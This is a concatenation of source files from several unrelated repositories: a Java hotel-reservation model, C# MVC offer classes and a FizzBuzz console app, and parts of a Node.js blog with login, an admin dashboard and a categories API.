id); int updateByPrimaryKeySelective(Photo record); int updateByPrimaryKey(Photo record); }<file_sep>define(["require", "promise"], function(require, Q){ var resolve = function(dep) { return function() { if (!(dep instanceof Array)) { dep = [dep]; } var deferred = Q.defer(); require(dep, function(res) { deferred.resolve(res); });//欢迎加入全栈开发交流圈一起学习交流:864305860 return deferred.promise; }; }; return resolve; });
f9b10858bf9669587bb5f4cb02e416c853e57167
[ "JavaScript", "Java", "Markdown", "INI" ]
25
Java
1872800877/mine
f360ad7b3c130dcadd84d928f3db3e0e84b08273
ddb42ff32466bd6dd60d3d459102a4b2be2afc6d
refs/heads/main
<file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Web; namespace MVCService.Models { public class Product { public Product(string prodName,decimal pri,string desc) { ProductName = prodName; Price = pri; Description = desc; } public string ProductName { get; set; } public decimal Price { get; set; } public string Description { get; set; } } }<file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Web; namespace MVCService.Models { public class Offer { public Offer(string offName, List<Product> lstprod) { OfferName = offName; if (lstprod != null && lstprod.Count > 0) { lstProducts = lstprod; } else { lstProducts = new List<Product>(); } } public string OfferName { get; set; } public List<Product> lstProducts { get; set; } } }<file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace CApp { class Program { public void DisplayNumbers() { Console.WriteLine("Looping number between 1 to 100"); for (int i = 1; i <= 100; i++) { if (i % 3 == 0 && i % 5 == 0) { Console.WriteLine("fizzbuzz"); continue; } else if (i % 3 == 0) { Console.WriteLine("fizz"); } else if (i % 5 == 0) { Console.WriteLine("buzz"); } } } public string DisplayReverseString() { Console.WriteLine("Please enter a string value"); string str = Console.ReadLine(); char[] chars = new char[str.Length]; for (int i = 0, j = str.Length - 1; i <= j; i++, j--) { chars[i] = str[j]; chars[j] = str[i]; } return new string(chars); } static void Main(string[] args) { Program a = new Program(); a.DisplayNumbers(); Console.WriteLine("Reversed string is : " + a.DisplayReverseString()); Console.ReadKey(); } } } <file_sep>using MVCService.Models; using System; using System.Collections.Generic; using System.Linq; using System.Net; using System.Net.Http; using System.Threading.Tasks; using System.Web.Http; namespace MVCService.Controllers { public class OfferSvc : ApiController { public OfferService _objOffSvc; public OfferSvc(OfferService objOffSvc) { _objOffSvc = objOffSvc; } //public async Task<List<Offer>> Get() //{ // // await Task.Run(() => _objOffSvc.GetTodaysOffers()); // // _objOffSvc.GetTodaysOffers(); //} // GET api/<controller>/5 public string Get(int id) { return "value"; } // POST api/<controller> public void Post([FromBody]string value) { } // PUT api/<controller>/5 public void Put(int id, [FromBody]string value) { } // DELETE api/<controller>/5 public void Delete(int id) { } } }<file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Web; namespace MVCService.Models { public class OfferService { public OfferService() { AddInventory(); } private List<Product> Inventory { get; set; } private void AddInventory() { Inventory = new List<Product>(); Inventory.Add(new Product("P1", 1000, "P1 desc")); Inventory.Add(new Product("P2", 200, "P2 desc")); Inventory.Add(new Product("P3", 400, "P3 desc")); Inventory.Add(new Product("P4", 700, "P4 desc")); Inventory.Add(new Product("P5", 600, "P5 desc")); Inventory.Add(new Product("P6", 800, "P6 desc")); } public List<Product> GetAllProducts() { return Inventory; } public List<Offer> GetTodaysOffers() { List<Offer> lst = new List<Offer>(); lst.Add(new Offer("ComboPackage1", Inventory.OrderBy(arg => Guid.NewGuid()).Take(3).ToList())); lst.Add(new Offer("ComboPackage2", Inventory.OrderBy(arg => Guid.NewGuid()).Take(3).ToList())); lst.Add(new Offer("ComboPackage3", Inventory.OrderBy(arg => Guid.NewGuid()).Take(3).ToList())); lst.Add(new Offer("ComboPackage4", Inventory.OrderBy(arg => Guid.NewGuid()).Take(3).ToList())); return lst; } } }
c579026110feae7bd3d2dc1631d59b820eed5e79
[ "C#" ]
5
C#
alochana9/MyNewRepository
e028d71d5bdbcd4b0f7e17e3c95ba5125efa3fda
3e415cd6e087c021d96f129c99a884c0b6d53cde
refs/heads/master
<repo_name>00120717/PrimerParcialPOO<file_sep>/src/primerparcialpoo/Reservacion.java /* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package primerparcialpoo; /** * * @author R.Fuentes */ public class Reservacion { public Persona huesped; Habitacion habitacion; int numDias, idReservacion; Precio precioPorDia,precioTotal; public Reservacion(){} public Persona getHuesped() { return huesped; } public void setHuesped(Persona huesped) { this.huesped = huesped; } public Habitacion getHabitacion() { return habitacion; } public void setHabitacion(Habitacion habitacion) { this.habitacion = habitacion; } public int getNumDias() { return numDias; } public void setNumDias(int numDias) { this.numDias = numDias; } public Precio getPrecioPorDia() { return precioPorDia; } public void setPrecioPorDia(Precio precioPorDia) { this.precioPorDia = precioPorDia; } public Precio getPrecioTotal() { return precioTotal; } public void setPrecioTotal(Precio precioTotal) { this.precioTotal = precioTotal; } public Reservacion(Persona huesped, Habitacion habitacion, int numDias, Precio precioPorDia, Precio precioTotal) { this.huesped = huesped; this.habitacion = habitacion; this.numDias = numDias; this.precioPorDia = precioPorDia; this.precioTotal = precioTotal; } public int getIdReservacion() { return idReservacion; } public void setIdReservacion(int idReservacion) { this.idReservacion = idReservacion; } } <file_sep>/src/primerparcialpoo/Habitacion.java package primerparcialpoo; /** * * @author <NAME> */ public class Habitacion { private NumCorrelativo idHabitacion; private Precio precio; private boolean estado; public Habitacion() { } public NumCorrelativo getIdHabitacion() { return idHabitacion; } public void setIdHabitacion(NumCorrelativo idHabitacion) { this.idHabitacion = idHabitacion; } public Precio getPrecio() { return precio; } public void setPrecio(Precio precio) { this.precio = precio; } public boolean getEstado() { return estado; } public void setEstado(boolean estado) { this.estado = estado; } NumCorrelativo verifica=new NumCorrelativo(); public boolean verfiEstado(){ if(verifica.verificarEstado()){ return true; } return false; } } <file_sep>/src/primerparcialpoo/Basico.java /* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package primerparcialpoo; /** * * @author R.Fuentes */ public class Basico { public String idPaquete; public boolean piscina,internet; public Precio costoExtra; public Basico(){} public Basico(String idPaquete, boolean piscina, boolean internet, Precio costoExtra){ this.idPaquete=idPaquete; this.piscina=piscina; } public String getIdPaquete() { return idPaquete; } public void setIdPaquete(String idPaquete) { this.idPaquete = idPaquete; } public boolean isPiscina() { return piscina; } public void setPiscina(boolean piscina) { this.piscina = piscina; } public boolean isInternet() { return internet; } public void setInternet(boolean internet) { this.internet = internet; } public Precio getCostoExtra() { return costoExtra; } public void setCostoExtra(Precio costoExtra) { this.costoExtra = costoExtra; } }<file_sep>/src/primerparcialpoo/AdminHotel.java /* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package primerparcialpoo; /** * * @author R.Fuentes */ public class AdminHotel { private String id; public String getId() { return id; } public void setId(String id) { this.id = id; } public AdminHotel(){} public void modificarPrecio(){ } public void modificarPaquete(){ } public void modificarHabitacion(){ } public void modificarPiso(){ } } <file_sep>/src/primerparcialpoo/Piso.java /* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package primerparcialpoo; /** * * @author <NAME> */ public class Piso { private char idPiso; private boolean estado; public Piso(char idPiso, boolean estado) { this.idPiso = idPiso; this.estado = estado; } public char getIdPiso() { return idPiso; } public void setIdPiso(char idPiso) { this.idPiso = idPiso; } public boolean getEstado() { return estado; } public void setEstado(boolean estado) { this.estado = estado; } } <file_sep>/src/primerparcialpoo/Tarjeta.java /* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package primerparcialpoo; /** * * @author <NAME> */ public class Tarjeta { private int[] codigo = new int[15]; private int verificador; private String idTarjeta; public Tarjeta(){}; public Tarjeta(String idTarjeta) { this.idTarjeta = idTarjeta; } public int[] getCodigo() { return codigo; } public void setCodigo(int[] codigo) { this.codigo = codigo; } public int getVerificador() { return verificador; } public void setVerificador(int verificador) { this.verificador = verificador; } public String getIdTarjeta() { return idTarjeta; } public void setIdTarjeta(String idTarjeta) { this.idTarjeta = idTarjeta; } }
7440bbf6b0c4876b999b295b7c6883d515de7fa2
[ "Java" ]
6
Java
00120717/PrimerParcialPOO
7e53f512b6672aa6361eb46fc8379ec42432d2ee
2d6790bf53ac9457f461ced7537e11db77391f2e
refs/heads/master
<file_sep># Make your shoe class here! class Shoe attr_accessor :color, :size, :material, :condition def initialize(brand) @brand = brand end def cobble puts "shoe has been repaired" condition = "new" end end adidas = Shoe.new("Adidas") adidas.brand nike = Show.new("Nike")
acb9c620bb3ef1faba04de2a04203d95ffb6816f
[ "Ruby" ]
1
Ruby
EmilAndreasyan/oo-basics-online-web-pt-090819
8d633ea73f20109ad343a5226fa8d5173a1e9768
74a4164ee443f83f01aaf66a6346563b0ec8ad0c
refs/heads/master
<repo_name>DavidJMora/projects<file_sep>/node_e-commerce/routes/product/controllers/productController.js let Product = require('../models/Product') let paginate = require('../utils/pagination'); module.exports = { getAllProducts: (params) => { return new Promise((resolve, reject) => { Product.find(params) .then(products => { resolve(products) }) .catch(error => { let errors = {}; errors.status = 500; errors.message = error; reject(errors) }) }) }, getProductById: (id) => { return new Promise((resolve, reject) => { Product.findById(id) .then(product => { resolve(product) }) .catch(error => { let errors = {}; errors.status = 500; errors.message = error; reject(errors) }) }) }, getProductByCategoryID: (id) => { return new Promise((resolve, reject) => { Product.find({category: id}) .populate('category') .exec() .then(products => { resolve(products) }) .catch(error => { let errors = {}; errors.status = 500; errors.message = error; reject(errors) }) }) }, getPageIfUserLoggedIn: (req, res, next) => { if(req.user) { paginate(req, res, next) } else { res.render('index') } }, productByQuery: (req, res) => { if(req.query.search) { Product.search({ query_string: { query: req.query.search } }, (error, results) => { if(error) { let errors = {}; errors.status = 500; errors.message = error; res.status(errors.status).json(errors) } else { let data = results.hits.hits; res.render('search/search-results', { results: data, query: req.query.search, }) } }) } }, instantSearch: (req, res) => { if(req.body.search) { Product.search({ query_string: { query: req.body.search } }, (error, results) => { if(error) { let errors = {} errors.status = 500; errors.message = error; res.status(errors.status).json(errors) } else { let data = results.hits.hits; res.json(data) } }) } } }<file_sep>/node_e-commerce/routes/test.js // $('#test-button').click(() => { // $.ajax({ // method: 'POST', // url: '/testJQuery', // data: { // connectionCheck: 'i just go here' // }, // dataType: 'json', // success: (response) => { // console.log('response:', response); // $('#container').append(`<h3>${response.result}</h3>`); // }, // error: (error) => { // console.log(error); // } // }) // }); <file_sep>/node_e-commerce/routes/index.js const express = require('express'); const router = express.Router(); let productController = require('./product/controllers/productController'); let paginate = require('../routes/product/utils/pagination'); /* GET home page. */ router.get('/', productController.getPageIfUserLoggedIn) router.get('/page/:page', paginate) module.exports = router; <file_sep>/node_fs/node_fs.js const fs = require('fs'); const path = require('path'); const {promisify} = require('util'); const readFile = promisify(fs.readFile); const crud = {}; crud.baseDir = path.join(__dirname,'./database'); /** * CREATE */ crud.create = (file,data) => { fs.open(`${crud.baseDir}/${file}.json`, 'wx', function(error, identifier) { if(!error && identifier) { let jsonArray = []; jsonArray.push(data); let stringData = JSON.stringify(jsonArray, null, 3); fs.writeFile(identifier, stringData, (err) => { if(!err) { fs.close(identifier, (err) => { if(err) { console.log(err); } else { console.log('no errors'); } }) } else { console.log('err'); } }) } }) } crud.create('cars', {"name": "Ford", "price": "$3000"}) /** * r = open file for reading. An exception occurs if the file does not exist. * r+ = open file for reading and writing. An exception occurs if the file does not exist. * rs = open file for reading in synchronous mode. * rs+ = open file for reading and writing, telling the OS to open it synchronously. * w = open for writing. The file is created(if it does not exist) or truncated(if it exists). * wx = same as 'w' but fails if path exists. * w+ = open file for reading and writing. The file is created(if it does not exist) or truncated(if it exists). * wx+ = same as 'w+' but fails if path exists. * a = open file for appending. The file is created if it doesnt exist. * ax = same as 'a' but fails if path exists. * a+ = opens file for reading and appending. The file is created if it doesnt exist. * ax+ = same as 'a+' but fails if path exists. */ /** * READ */ crud.read = (file) => { fs.readFile(`${crud.baseDir}/${file}.json`, 'utf8', (err,data) => { if(err) { throw err } else { console.log(data); } }) } /** * UPDATE */ // crud.update = (file, data) => { // let stringData = `,${JSON.stringify(data)}` // fs.appendFile(`${crud.baseDir}/${file}.json`, stringData, (err) => { // if(err) { // throw err // } else { // console.log("Updated"); // } // }) // } /** * New Update Function */ crud.update = (file, data) => { //readFile returns Promise readFile(`${crud.baseDir}/${file}.json`, "utf8") .then(newStream => { //change string to JS object let newData = JSON.parse(newStream) //push our update to array newData.push(data) //return data as a string return JSON.stringify(newData, null, 3) }) .then(finalData => { // replace the content in the file with updated data fs.truncate(`${crud.baseDir}/${file}.json`, (error) => { if(!error) { fs.writeFile(`${crud.baseDir}/${file}.json`, finalData, (err) => { if(err) { return err } }) } else { return error } }) }) } // crud.create('cars-updated', {'name': 'mercedes', 'price': '$400'}) // crud.update('cars-updated', {'name': 'toyota', 'price': '$550'}) crud.read('cars-updated') // crud.update('cars', {'name': 'Tesla', 'price': "$20000"}) /** * 1. read current content of file * 2. append updates * 3. truncate the file and replace */ /** * DELETE */ crud.delete = (file) => { fs.unlink(`${crud.baseDir}/${file}.json`, (err) => { if(!err) { console.log('deleted'); } else { return err } }) } crud.delete('cars')<file_sep>/node-api/rest.js /** * Rest architectural style describes six constraints * 1. Uniform Interface * 2. Stateless * 3. Cacheable * 4. Client-Server * 5. Layered System * 6. Code on Demand(optional) */<file_sep>/node_e-commerce/routes/admin/admin.js const express = require('express'); const router = express.Router(); let categoryController = require('./controllers/categoryController'); let createProductController = require('./controllers/createProductController'); let categoryValiation = require('./utils/categoryValidation'); router.get('/', function(req, res) { res.send('please') }) router.get('/add-category', function(req, res) { res.render('product/add-category', {errors: req.flash('addCategoryError'), success: req.flash("addCategorySuccess")}) }) router.post('/add-category', categoryValiation, function(req, res) { categoryController.newCategory(req.body) .then(category => { req.flash('addCategorySuccess', `Added ${category.name}`); res.redirect('/api/admin/add-category') }) .catch(error => { req.flash('addCategoryError', error.message) res.redirect('/api/admin/add-category') }) }) router.get('/get-all-categories', categoryController.getAllCategories); router.get('/create-fake-product/:categoryName/:categoryID', createProductController.createProductByCategoryID) module.exports = router;<file_sep>/node_mvc/routes/users.js const express = require('express'); const router = express.Router(); const isLoggedIn = require('../utils/isLoggedIn'); const authChecker = require('../utils/authChecker') const bcrypt = require('bcryptjs') let User = require("../models/User") let signupController = require("../controllers/signupController"); let userController = require('../controllers/userController') /* GET users listing. */ router.get('/', function(req, res, next) { userController.findAllUsers({}, (err, users) => { if(err) { res.status(400).json({ confirmation: "failure", message: err }) } else { res.json({ confirmation: 'success', payload: users }) } }) }); router.put('/updateuserbyid/:id', function(req, res) { User.findByIdAndUpdate(req.params.id, req.body, {new: true}, function(error, updatedUser) { if(error) { res.status(400).json({ confirmation: "failure", message: error }) } else { res.json({ confirmation: "success", payload: updatedUser }) } }) }) router.delete('/deleteuserbyid/:id', function(req, res) { User.findByIdAndDelete(req.params.id, req.body, function(error, deletedUser) { if(error) { res.status(400).json({ confirmation: "failure", message: error }) } else { res.json({ confirmation: "success", payload: deletedUser }) } }) }) router.get('/register', function(req, res, next) { res.render('register', {'error_msg': false}) }) router.post('/register', authChecker, signupController.checkExistingEmail, signupController.checkUsername, signupController.createUser) router.get('/login', function(req, res, next) { res.render('login', {error_msg: false, success_msg: false} ) }) router.post('/login', function(req, res) { User.findOne({email: req.body.email}, function(error, user) { if(error) { res.render('login', {error_msg: true, errors: [{message: "Email or Password does not match."}]}) } if(user) { bcrypt.compare(req.body.password, user.password, function(error, result) { if(error) { res.render('login', {error_msg: true, errors: [{message:'Email or Password does not match'}]}) } else { if(result) { res.render('login', {error_msg: false, success_msg: "You are logged in"}) } else { res.render('login', {error_msg: true, success_msg: false, errors: [{message: 'Email or Password does not match'}]}) } } }) } else { res.render('login', {error_msg: true, success_msg: false, errors: [{message:'Email or Password does not match'}]}) } }) }) module.exports = router;
457b6d74219fdad09e94b6fab928bf72e5a5fc3d
[ "JavaScript" ]
7
JavaScript
DavidJMora/projects
c2ab638919ae874062c80c8ca06149f74cfcccfe
76535ab70c6b41008812e37f8b284916df77cbc0
refs/heads/master
<file_sep>print("HEllo world") print('does this work?') print('yes it is working ') <file_sep>list=[1,2,3,4,5,6] i=6 for i in list: print(i)
eb1f28567a38ee52b915a6de9b1031240c4e2d45
[ "Python" ]
2
Python
projectsPrem/Practice
8ab8121acdfd883009763023de9d3937a3fd5b30
448db4b6d9598f4263ff47dec3198c4f87b3cf34
refs/heads/master
<file_sep>class BillsController < ApplicationController before_action :all_bills, only: [:index, :create, :update, :destroy] before_action :set_bill, only: [:show, :edit, :update, :destroy] before_action :authenticate_user! def index end def show end def new @bill = current_user.bills.new end def edit end def create @bill = current_user.bills.create(bill_params) end def update @bill.update_attributes(bill_params) end def destroy @bill.destroy respond_to do |format| format.html do redirect_to @bills end format.js end end private # Use callbacks to share common setup or constraints between actions. def set_bill @bill = Bill.find(params[:id]) end def all_bills @bills = Bill.all end def bill_params params.require(:bill).permit(:name, :price) end end <file_sep>class PagesController < ApplicationController def index if user_signed_in? redirect_to bills_url end end end <file_sep>Rails.application.routes.draw do devise_for :users root 'pages#index' resources :bills end
b1a4b10520b466380f94e8300284ffa2a4a79b54
[ "Ruby" ]
3
Ruby
InkBuddha/MyHomeBudget
42071415274d651cba2e94a6e0e67191abc978ae
8e87c676ee2633c092ca54d1257169facde0e946
refs/heads/master
<repo_name>MasaCode/MasaBlog<file_sep>/routes/login.js 'use strict'; let express = require('express'); let router = express.Router(); let co = require('co'); let config = require('../docs/environments.js'); let userModel = require('../models/userModel.js'); let passport = require('passport'); let LocalStrategy = require('passport-local').Strategy; passport.use(new LocalStrategy(function(username, password, done){ co(function *() { let admins = (yield userModel.findByUsername(username)); if (admins !== null && admins.length !== 0) { let length = admins.length; for (let i = 0; i < length; i++) { if (userModel.verifyPassword(password, admins[i].password)) { return done(null, admins[i]); } } return done(null, false); } else { return done(null, false); } }).catch(function (err) { return done(err.message); }); })); router.get('/', function (req, res) { if (req.cookies.user) { res.redirect('/admin'); } else { let message = req.cookies.loginMessage !== undefined ? req.cookies.loginMessage : null; res.render( 'login', {title: config.BLOG_NAME + " | Login", message: message} ); } }); router.post('/', function (req, res, next) { passport.authenticate('local', function (err, user, info) { if (err) return next(err); res.cookie('loginMessage', "Username or Password is not correct.", null); if (!user) return res.redirect('/login'); delete user.password; user.expired = new Date().getTime() + (24 * 60 * 60 * 1000); // Current Time + 1 day res.cookie('user', user, null); res.clearCookie('loginMessage', null); res.redirect('/admin'); })(req, res, next); }); module.exports = router;<file_sep>/public/javascripts/admin/dashboard_v.js (function ($) { 'use strict'; let Dashboard = { options: { taskBoard: 'div.tasks', taskInput: 'input#input-task', taskSubmit: 'button#add-task', taskCheckBox: 'input.task-checkbox', eventModal: '#event-edit-modal', eventForm: '#modal-form', startDate: 'div.event-date-start', endDate: 'div.event-date-end', }, editingEvent: null, initialize () { this.$taskBoard = $(this.options.taskBoard); this.$taskInput = $(this.options.taskInput); this.$taskSubmit = $(this.options.taskSubmit); this.$eventModal = $(this.options.eventModal); this.$eventForm = $(this.options.eventForm); this.$startDate = $(this.options.startDate); this.$endDate = $(this.options.endDate); this.build().events(); }, build () { let _self = this; this.$calendar = $('#calendar').fullCalendar({ header: { left: 'prev,next today', center: 'title', right: 'month,agendaWeek,agendaDay' }, eventClick (event, jsEvent, view ) { _self.$eventModal.modal('show'); _self.editingEvent = event; let id = parseInt(event.id); $.ajax({ url: 'api/v1/events/' + id, type: 'GET', dataType: 'json', timeout: 10000, success (data, status, errorThrown) { $('#modal-input-id').val(data.id); $('#modal-input-title').val(data.title); $('#modal-input-start').val(moment(data.start).format('MM/DD/YYYY hh:mm A')); $('#modal-input-end').val(moment(data.end).format('MM/DD/YYYY hh:mm A')); $('#modal-input-all-day').prop('checked', (parseInt(data.all_day) === 1)); _self.$eventModal.find('#modal-input-submit').after('<button class="btn btn-danger" id="modal-input-remove">Remove</button>'); }, error (data, status, errorThrown) { let error = $('#error-dialog'); error.text('Error occurred while retrieving event data...'); error.fadeIn(1000).delay(3000).fadeOut(1000); setTimeout(function () { window.location.reload(); }, 5000); } }); }, dayClick (date, jsEvent, view) { _self.$eventModal.modal('show'); _self.$eventModal.find('#AddModalLabel').text('Create Event'); let selectedDate = moment(date).format('MM/DD/YYYY hh:mm A'); $('#modal-input-start').val(selectedDate); _self.$endDate.data("DateTimePicker").minDate(date); } }); $.ajax({ url: '/admin/data', type: 'GET', dataType: 'json', timeout: 30000, success (data, status, errorThrown) { $('h3.post-count').text(data.post.count); $('h3.category-count').text(data.category.count); $('h3.tag-count').text(data.tag.count); $('h3.thumbnail-count').text(data.thumbnail.count); $('h3.comment-count').text(data.comment.count); _self.setWeather(data.weather); _self.setTasks(data.tasks); _self.setRecentPosts(data.post.posts); _self.setEvents(data.events); }, error (data, status, errorThrown) { let error = $('#error-dialog'); error.text('Error occurred : Please reload the page...'); error.fadeIn(1000).delay(3000).fadeOut(1000); } }); this.$startDate.datetimepicker(); this.$endDate.datetimepicker({ useCurrent: false }); let socket = io(); socket.on('visitor', function (visitor) { $('h3.visitor-count').text(visitor.count - 1); }); return this; }, refresh () { let _self = this; $.getJSON('api/v1/tasks', null, function (tasks) { _self.setTasks(tasks); }); }, refreshEvent () { let _self = this; $.getJSON('api/v1/events', null, function (events) { _self.$calendar.fullCalendar('removeEvents'); _self.setEvents(events); }); }, events () { let _self = this; this.$taskSubmit.on('click', function (event) { let task = _self.$taskInput.val().trim(); if (task === '') return false; $.ajax({ url: 'api/v1/tasks', type: 'POST', dataType: 'json', data: {description: task}, timeout: 10000, success (data, status, errorThrown) { let success = $('#success-dialog'); success.text('The task successfully has been created'); success.fadeIn(1000).delay(3000).fadeOut(1000); _self.$taskInput.val(''); _self.refresh(); }, error (data, status, errorThrown) { let error = $('#error-dialog'); error.text('Error occurred : ' + errorThrown); error.fadeIn(1000).delay(3000).fadeOut(1000); _self.refresh(); } }); }); $(document).on('click', this.options.taskCheckBox, function (event) { let $box = $(this).parent(); let id = $box.find('input.task-id').val(); $.ajax({ url: 'api/v1/tasks/' + id, type: 'DELETE', dataType: 'json', data: {id: id}, timeout: 10000, success (data, status, errorThrown) { let success = $('#success-dialog'); success.text('The task successfully has been deleted'); success.fadeIn(1000).delay(3000).fadeOut(1000); _self.refresh(); }, error (data, status, errorThrown) { let error = $('#error-dialog'); error.text('Error occurred : ' + errorThrown); error.fadeIn(1000).delay(3000).fadeOut(1000); _self.refresh(); } }); }); this.$eventModal.on({ 'hidden.bs.modal': function (event) { _self.$eventForm.get(0).reset(); $('#modal-input-id').val(''); $('span.error-text').text(''); let removeButton = $('#modal-input-remove'); if (removeButton.length !== 0) removeButton.remove(); _self.editingEvent = null; _self.$eventModal.find('#AddModalLabel').text('Edit Event'); } }); this.$eventForm.on('submit', function (event) { event.preventDefault(); let data = {}; let id = parseInt($('#modal-input-id').val()); data.title = $('#modal-input-title').val().trim(); data.start = moment(new Date($('#modal-input-start').val().trim())).format('YYYY-MM-DD HH:mm'); data.end = moment(new Date($('#modal-input-end').val().trim())).format('YYYY-MM-DD HH:mm'); data.all_day = $('#modal-input-all-day').prop('checked') === true ? 1 : 0; let error = _self.validateEventParams(data, ['title', 'start', 'end']); if (error !== true) { $('span.error-text').text(error); return; } let method = (!isNaN(id) && id !== '') ? 'PUT' : 'POST'; let endPoint = 'api/v1/events' + ((method === 'PUT') ? '/' + id : ''); $.ajax({ url: endPoint, type: method, dataType: 'json', data: data, timeout: 10000, success (eventData, status, errorThrown){ _self.refreshEvent(); _self.$eventModal.find('button:last-child').click(); let success = $('#success-dialog'); success.text('The task successfully has been ' + (method === 'PUT' ? 'updated' : 'created')); success.fadeIn(1000).delay(3000).fadeOut(1000); }, error (data, status, errorThrown) { _self.$eventModal.find('button:last-child').click(); let error = $('#error-dialog'); error.text('Error occurred : ' + errorThrown); error.fadeIn(1000).delay(3000).fadeOut(1000); _self.refreshEvent(); } }); }); $(document).on('click', '#modal-input-remove', function (event) { let id = $('#modal-input-id').val(); $.ajax({ url: 'api/v1/events/' + id, type: 'DELETE', dataType: 'json', data: {id: id}, timeout: 10000, success (data, status, errorThrown) { _self.$eventModal.find('button:last-child').click(); let success = $('#success-dialog'); success.text('The task successfully has been deleted'); success.fadeIn(1000).delay(3000).fadeOut(1000); _self.refreshEvent(); }, error (data, status, errorThrown) { _self.$eventModal.find('button:last-child').click(); let error = $('#error-dialog'); error.text('Error occurred : ' + errorThrown); error.fadeIn(1000).delay(3000).fadeOut(1000); _self.refreshEvent(); } }); }); this.$startDate.on("dp.change", function (e) { _self.$endDate.data("DateTimePicker").minDate(e.date); }); this.$endDate.on("dp.change", function (e) { _self.$startDate.data("DateTimePicker").maxDate(e.date); }); return this; }, setWeather (weather) { $('h3.min-temp').html(weather.main.temp_min + ' <small>&deg;C</small>'); $('h3.max-temp').html(weather.main.temp_max + ' <small>&deg;C</small>'); let code = weather.weather[0].id; let icon = $('span.weather-icon i'); let iconClass = ''; if (code < 300) { // Thunderstorm 2xx iconClass = 'wi-day-thunderstorm'; } else if (code < 400) { // Drizzle 3xx iconClass = 'wi-day-rain-wind'; } else if (code >= 500 && code < 600) { // Rain 5xx iconClass = 'wi-day-rain'; } else if (code >= 600 && code < 700) { // Snow 6xx iconClass = 'wi-day-snow'; } else if (code >= 700 && code < 800) { // Atmosphere 7xx iconClass = 'wi-windy'; } else if (code === 800) { // Clear Sky iconClass = 'wi-day-sunny'; } else if (code > 800 && code < 900) { // Clouds 8xx iconClass = 'wi-day-cloudy-high'; } else { // Other weather (Extreme, Additional) iconClass = 'wi-tornado'; } icon.removeClass('wi-day-cloudy-high'); icon.addClass(iconClass); }, setTasks (tasks) { let length = tasks.length; let taskItems = $('div.task-item'); let taskItemLength = taskItems.length; let difference = taskItemLength - length; if (length === 0 && taskItemLength === 0) return; if (difference > 0) { taskItems.slice((taskItemLength - difference), taskItemLength).remove(); } for (let i = 0; i < length; i++) { if (i >= taskItemLength) { let taskItem = [ '<div class="task-item"><input type="hidden" value="' + tasks[i].id + '" class="task-id" />', '<input type="checkbox" class="checkbox task-checkbox" /><span class="task-description">' + tasks[i].description + '</span></div>', ].join(' '); this.$taskBoard.append(taskItem); } else { let item = $(taskItems[i]); item.find("input.task-id").val(tasks[i].id); item.find('span.task-description').text(tasks[i].description); } } }, setRecentPosts (posts) { let length = posts.length; let postBoard = $('ul.post-board'); let postItem = $('li.post-item'); let postItemLength = postItem.length; let difference = postItemLength - length; if (length === 0 && postItemLength === 0) { postBoard.append('<li class="list-group-item post-item">No Post is published yet...</li>'); return; } if (difference > 0) { postItem.slice((postItemLength - difference), postItemLength).remove(); } for (let i = 0; i < length; i++) { if (i >= postItemLength) { let newPost = [ '<li class="list-group-item post-item"><a href="admin/posts/edit/' + posts[i].id + '">', '<h4 class="text-left post-title">' + posts[i].title + '</h4></a></li>' ].join(' '); postBoard.append(newPost); } else { let item = $(postItem[i]); item.find('a').attr('href', 'admin/posts/' + posts[i].id); item.find('.post-title').text(posts[i].title); } } }, setEvents (events) { let length = events.length; for (let i = 0; i < length; i++) { events[i].start = new Date(events[i].start); events[i].end = new Date(events[i].end); } this.$calendar.fullCalendar('renderEvents', events); }, validateEventParams(params, keys) { let length = keys.length; for (let i = 0; i < length; i++) { let value = params[keys[i]]; if (value === undefined || value === null || value === '') return keys[i] + ' is required...'; } return true; }, }; $(function () { Dashboard.initialize(); }); }).apply(this, [jQuery]);<file_sep>/public/javascripts/admin/password_reset_v.js (function ($) { let PasswordReset = { initialize () { let _self = this; this.$form = $('form'); this.$form.on('submit', function (event) { event.preventDefault(); let currentPassword = $('input#current-pass').val().trim(); let newPassword = $('input#new-pass').val().trim(); let rePassword = $('input#re-pass').val().trim(); let error = _self.validateParams(currentPassword, newPassword, rePassword); let errorWrapper = $('span.error-text'); if (error) { errorWrapper.text(error); return false; } else { errorWrapper.text(''); } $.ajax({ url: '/api/v1/users/resetPassword', type: 'PUT', dataType: 'json', data: { currentPassword: <PASSWORD>, newPassword: <PASSWORD> }, timeout: 10000, success (data, status, errorThrown) { $('input#current-pass').val(''); $('input#new-pass').val(''); $('input#re-pass').val(''); if (data.error) { errorWrapper.text(data.error); return false; } let success = $('#success-dialog'); success.text('The password successfully has been reset'); success.fadeIn(1000).delay(3000).fadeOut(1000); }, error (data, status, errorThrown) { let error = $('#error-dialog'); error.text('Error occurred : ' + errorThrown); error.fadeIn(1000).delay(3000).fadeOut(1000); } }); }); }, validateParams (currentPassword, newPassword, rePassword) { let error = null; if (currentPassword === '' || newPassword === '' || rePassword === '') error = 'All of the input is required...'; if (newPassword !== rePassword) error = 'New password did not match...'; return error; } }; $(function () { PasswordReset.initialize(); }); }).apply(this, [jQuery]);<file_sep>/routes/api/v1/categories.js 'use strict'; let express = require('express'); let router = express.Router(); let co = require('co'); let util = require('../../../helper/util.js'); let categoryModel = require('../../../models/categoryModel.js'); router.get('/', function (req, res) { co(function *() { let categories = (yield categoryModel.findAll()); util.sendResponse(res, 200, categories); }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }); }); router.get('/:id', function (req, res) { co(function *() { let id = parseInt(req.params.id); if (!util.isValidId(id)) throw new Error('Invalid ID...'); let category = (yield categoryModel.findById(id)); util.sendResponse(res, 200, category); }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }); }); router.post('/', util.allowAction, function (req, res) { co(function *() { let body = req.body; if (body.name === '' || body.name === null || body.name === undefined) throw new Error('Category name is required..'); if (body.icon === '' || body.icon === null || body.icon === undefined) throw new Error('Category icon class is required..'); let result = (yield categoryModel.insert({ name: body.name, description: (body.description !== '' && body.description !== null && body.description !== undefined) ? body.description : '', icon: body.icon, is_active: true })); 